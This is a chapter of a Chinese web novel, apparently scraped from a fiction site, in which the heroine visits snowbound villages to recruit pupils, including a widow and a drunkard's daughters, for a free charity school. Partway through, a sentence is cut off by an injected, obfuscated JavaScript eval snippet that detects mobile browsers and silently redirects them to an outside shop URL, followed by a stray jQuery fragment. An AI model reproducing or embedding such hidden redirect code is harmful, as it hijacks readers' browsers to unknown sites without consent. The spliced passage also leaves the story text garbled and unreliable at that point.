文趣网 > 都市小说 > 嫡女谋生计 > 65. 雪中访贫
    先去的是个叫石桥的小村。

    村里人不多,可家家户户挂着腊肉,孩子们举着糖葫芦在巷子里追跑,过年的气氛还算浓烈。

    直到走到村西头荒坡上那户姓陈的人家,气氛才陡然冷了下来。

    听村长说,陈婆子丈夫死得早,一个人拉扯两个儿子长大,吃了大半辈子苦。可小儿子也是个短命的,成婚刚两年就意外离世,只留下十九岁的小儿媳妇。

    陈婆子总觉得是小媳妇克死了她儿子,平日里鼻子不是鼻子眼不是眼,连过年团圆饭都不让她上桌。

    院子里没贴红纸,灶上冷锅冷灶。大儿子家的几个孩子穿着补丁摞补丁的棉袄,蹲在门槛边上玩石子,小手冻得通红。

    徽月带着小园和观棋推门进去时,陈婆子正坐在灶房门槛上抱着烘笼烤火,眼皮都没抬一下。

    她递上两包干枣一包粗盐,陈婆子这才勉强扯出个笑。大儿媳妇在灶房里忙活,锅铲磕着锅沿铛铛响,一股子敷衍的劲儿。

    徽月蹲下身问孩子几岁了叫什么,最大的那个闷声说:“陈大石,十岁。”

    又问弟弟妹妹,“六岁,四岁。”他答得简短,手指捏着石子在地上一道道划。

    徽月没急着说义学的事,从袖里摸出几块饴糖递过去,孩子们怯生生接了,最小的女孩含了糖,嘴角翘起来。

    小园已经蹲到灶膛边和那家婆子唠上了,问菜窖里还剩什么菜,说大白菜切丝拌盐能存得更久。

    气氛软了些,徽月才提起义学:“不收束脩,孩子来能吃顿饱饭,学认字算账,还能学门手艺。只是学成了得去外县传手艺,不能在本地摆摊。”

    话音刚落,大儿媳妇掀帘子出来,锅铲往锅沿上一磕:“不收钱的东西能有什么好?给人当使唤徒弟的命!我们家大石有他爹带着,种地也饿不死!”

    徽月想解释,说学成之后手艺傍身走哪儿都饿不着,可陈婆子已经拿烟杆敲了敲门槛,斩钉截铁:“不去。我们陈家的事,不劳外人操心。”

    大儿媳妇拉扯孩子,陈大石手里的饴糖掉了,刚要捡,被狠狠拍了巴掌:“没出息的东西!什么都往嘴里塞,小心被人拐跑!”最小的女娃吓得“哇”地哭出来,被一把抱起进了灶房。

    徽月站在院子里,雪落在她睫毛上化开,凉丝丝的。观棋轻轻碰了碰她手肘,摇了摇头。小园也叹了口气,冲她递了个“走吧”的眼神。

    三人只得拱了拱手告辞。

    陈婆子仍坐在门槛上,连起身送的意思都没有。

    刚走到院门口,身后传来急促的脚步声,一个年轻女子追出来,双手攥着围裙角,嘴唇冻得发白:“……那个,义学……我能去吗?”

    徽月回头,十八九岁模样,瘦小一张脸,颧骨突着,粗布夹袄薄得连芦花都没几片。眉眼间还带着点没长开的稚气,可眼神里已有被生活磋磨过的沉重。

    看年纪……莫非是陈婆子家守寡的小儿媳妇?

    “你是……?”小园试探着问。

    “我是这家小儿子的媳妇,夫家叫我二娘。”

    徽月下意识想说义学是给孩子办的,可话到嘴边又咽了回去。

    十九岁。在现代,刚上大一的年纪,宿舍里还摆着毛绒玩具、书包上挂着卡通挂坠,怎么不是个孩子?怎么到了这里,就成了守寡的“二娘”,被婆婆嫌弃克夫,被嫂子防着多吃一口饭!

    “你能接受和八九岁的孩子一起坐堂吗?”

    陈二娘使劲点头:“能的,能!我不怕丢人。”

    “识字从三字经开始,手艺从生火学起,得一步一步来。”

    “我不怕。只要不收束脩,能管口饭……”

    徽月笑了:“这个放心,一分不收而且管吃管住。”

    陈二娘眼眶红了,好半晌才问:“那……那,我什么时候能去?”

    “开春二月二开学,至于你婆婆那边……你自己想办法说通,”徽月顿了顿:“你叫什么名字?”

    陈二娘有些不解:“夫家叫我二娘……”

    “我说闺名。”

    她沉默了一会儿:“赵秀兰。”

    “赵秀兰,开春了记得来。”徽月拍了拍她冻红的肩膀说了个地址,转身走了。

    身后,赵秀兰还站在院门口。她深吸一口气,准备找个时间和婆婆说这件事。

    婆婆早就嫌自己没能为二郎留下一儿半女,却还要在家里蹭吃蹭喝。

    虽然地是她种,菜是她做,嫂子的几个孩子也是她帮着带。可在这个家里依旧像个外人。

    她早就想逃离这个家了!

    雪从初五一直落到初七,直到初八才勉强停住了脚。

    灰蒙蒙的天撕开一道缝,透出一丝薄薄的日光来,照在积雪的村道上。

    一连几日,见多了这样的人家,徽月的心比寒冬腊月的雪还冷。

    可还不能停。

    一行人的马车吱吱呀呀碾过泥泞的土路,车轮糊了厚厚一层黄泥,走不出半里就得停下来。

    观棋跳下车,蹲在路边抄起一根粗树枝,把车轮上冻住的泥块一块块撬下来,撬完了再上车赶路,不出半里又糊上,如此反复。

    徽月坐在车里被颠得五脏六腑都在翻涌,车身一歪,她整个人往车壁上撞了一下,磕得肩膀生疼。

    “这破路,下点雨下点雪就成这样,等衙门有了钱非得修上一修。”徽月怀念起前世那些宽阔笔直的柏油路,平平整整,下雨天车开过去除了点水花,一点泥点子都没有。也不知道搁现在能不能修得出来。

    小园瞧她脸色发白,忙拧了条热帕子递过来,替她擦了擦脸。帕子的热气敷在脸上,好歹缓了几分恶心。

    “村里都是这种土路,走惯了也就不觉得颠了。姐姐不如先回家,等天晴了再来。你又冷又晕的,小脸煞白,别真吐出了毛病。”

    “不用了,这点子我还是忍得住的。”徽月话没说完,车身又一个颠簸,胃里猛地一阵翻搅。她赶忙拉开车帘,冷冽的北风灌进来,才把那阵恶心压了下去。

    “观棋你驾车走慢点!”小园冲外面嚷嚷两声。

    观棋放缓了车速,左手撩开车帘递进来一个橘子。

    小小的橙黄色球体,表皮上还带着一层薄薄的白霜,显然是刚从货郎担子上买来不久的。

    徽月双手接过来,隔着帘子问:“给我的?”

    观棋在车外比划了两下。

    【咱们从京陵城出来赶路时你说过,橘子能缓解恶心。昨儿见货郎有卖就买了几个。你闻闻,缓一缓。我让马走慢点儿。】

    “谢谢你啊观棋。”徽月笑得甜,剥开橘子皮,一股清冽的柑橘香气散出来。她凑到鼻尖深深吸了一口,那股子拧巴着翻涌的恶心感真就松了几分。她把橘瓣扔进嘴里,凉丝丝的酸甜在舌尖化开,整个人才觉得活过来了。

    小园隔着帘子戳了戳观棋的后背,把帘子掀开一条缝探头出去:“我的呢?”

    观棋从怀里又摸出一个,头也不回扔了进来。小园接住一看,瘪了嘴:“这比姐姐的也小太多了吧!你偏心!”

    【你又不难受!】

    “哎呀!我头好晕啊!被观棋气得头晕了!”小园抱着脑袋在车里滚来滚去,装模作样地“哎哟哎哟”喊疼。徽月笑得喘不上气,橘子瓣差点呛进嗓子眼里。被这么一插科打诨,连带着那点子不舒服也散了大半,马车又吱吱呀呀地往前走了。

    前头是他们要去的最后一个村,叫孙集村。靠近竹源与松溪的交界处,背靠一座矮山,在雪后初霁的天光里自有一番宁静。

    三人进村,小园面善,徽月嘴甜,观棋心细,就这样走了十来户人家。

    大多数人家和陈家一样,日子虽过得紧巴,却没有几户真的愿意让孩子背井离乡。在家种上几亩薄田,好歹也能糊口不是?

    送出去万一学不出来,地也荒了,人也野了,图什么呢?

    真正松口说开春送孩子来的,不过一两家。

    徽月也不急,也不强劝,只记下名字,又特意留意了几个孩子的秉性,回头好因材施教。

    可遇上有的人家,徽月拼一口气也要劝明白。

    这村走的最后一户人家,姓孙,住在一座歪歪斜斜的土坯房里。房顶的茅草薄得透光。

    家里六个孩子,最大的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17899323|205365||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    十四岁,最小的还在怀里吃奶。男人酗酒,浑身上下裹着一股酸臭味,此时正躺在炕上打呼噜。女人瘦得像根枯柴,裹着一件看不出原本颜色的破棉袄,抱着孩子缩在灶角烧火。

    小园先蹲过去跟她说话,女人低着头“嗯嗯啊啊”地应着,声音细得像蚊子哼,始终不敢抬眼看人。又问孩子叫什么名字,女人嘴皮动了动,半晌才挤出几个字:“……大的叫孙大丫,二丫、三丫……”声音越来越小,到最后几乎听不见了。

    她怀里的孩子忽然哭起来,她慌忙撩起衣襟喂奶,动作麻利又局促,根本不避人。观棋脸色微红,转身走了出去,站在院门口背对着屋里。

    徽月没像前几户那样说两句就走。她蹲下来,在女人另一侧坐下,也伸手往灶膛里添了根柴:“你家大丫十四了吧?”

    女人“嗯”了一声。

    “这个年纪,搁在好人家,正是学绣花学识字的时候。可搁在你们家……再过两年该说人家了。她这样的家境,嫁过去的能是什么好人家?要么给老光棍填房,要么去大户人家当使唤丫头。运气好的话攒几个铜板回来,运气不好一辈子抬不起头,被打被骂被卖了都没人替她撑腰。”

    女人没说话。

    “二丫三丫呢?一个十二,一个十岁,再过几年也是一样的路。四个女儿,嫁出去就像泼出去的水,婆家好的能喘口气,婆家不好的,连口热饭都吃不上。你这个当娘的,夜里闭着眼睛想不想她们?还是就随便把她们嫁出去换彩礼?”

    灶膛里噼啪响了一声,女人的肩膀颤了颤,嘴唇抖了抖,终于开口:“……那能怎么办……他爹,他爹连酒钱都凑不出来……孩子送去念书,谁干活?谁伺候他?”

    徽月静静地听着,等她说完,才慢慢开口:“义学不收束脩,管吃管住。孩子去了不用你出一文钱,家里还少几张吃饭的嘴。几个丫头去了学手艺,就能养活自己,即使将来嫁了人,婆家也不敢轻贱她。”

    这个时代,她说不出不嫁人自己也能好好过一辈子的话。

    这是这个时代的局限性,她是蚍蜉,撼不了树。

    女人没搭话,眼泪淌到嘴角,她舔了一下,又飞快地别过脸去,不让人看见。

    徽月从怀里摸出写好的义学地址纸条,轻轻放在灶台上,纸条上压了一块饴糖:“春天来了你让一个丫头先来,不交钱,管吃管住,教认字、教手艺。学成去外县摆摊挣钱,把本事教给更多的人,但人的根还落在这儿。有了手艺,先不说嫁什么人,至少她自己能站着活。几个孩子的人生,不能由着这个酒鬼爹一句话就给定了。”

    女人的手慢慢松开衣角,伸过去,把灶台上那块饴糖攥在了手心。

    徽月站起来,拍了拍膝上的灰,转身走了。

    小园和观棋跟在后面,出了院门,小园才低声问了一句:“姐姐追着她说了那么半天,她男人醒了知道了打她怎么办?”

    徽月回头看了一眼那座歪歪斜斜的土坯房,目光沉沉的:“不打也活不好。她男人喝酒喝得人不像人鬼不像鬼,几个丫头眼看着就要被卖去换酒钱。我不拉她一把,她这一辈子、她几个孩子这一辈子,就烂在这灶台前头了。”

    小园咬咬嘴唇,没说话。

    三人沿着村道往回走,雪在脚底下咯吱咯吱响。徽月走了一会儿,忽然开口,像是在自言自语:“这一路走来,有的人家我不强劝。上回那户姓刘的,公婆疼孩子,家里的地虽然不多但够嚼用,男人虽没大出息却是个老实人,孩子留在身边种地也能平安过一辈子。那种人家我不追着劝。”

    小园歪着头问:“那什么样的你才拼了命也要拉一把?”

    徽月停下脚步,站在村道的岔路口,开口声音很轻:“像孙家这样的。男人废了,女人立不起来,孩子眼看着就要被拖进泥里一辈子拔不出来。这种人家,你不拉她一把,她真的连爬的力气都没有。”

    她想起前世下乡扶贫,走过那么多村子,见过太多这样的人家。有时候就是一个契机,一个人推一把,她们就能从泥里挣扎着站起来。没人推,没人拉,就烂在里面了。

    一辈烂一辈,子子孙孙没个头。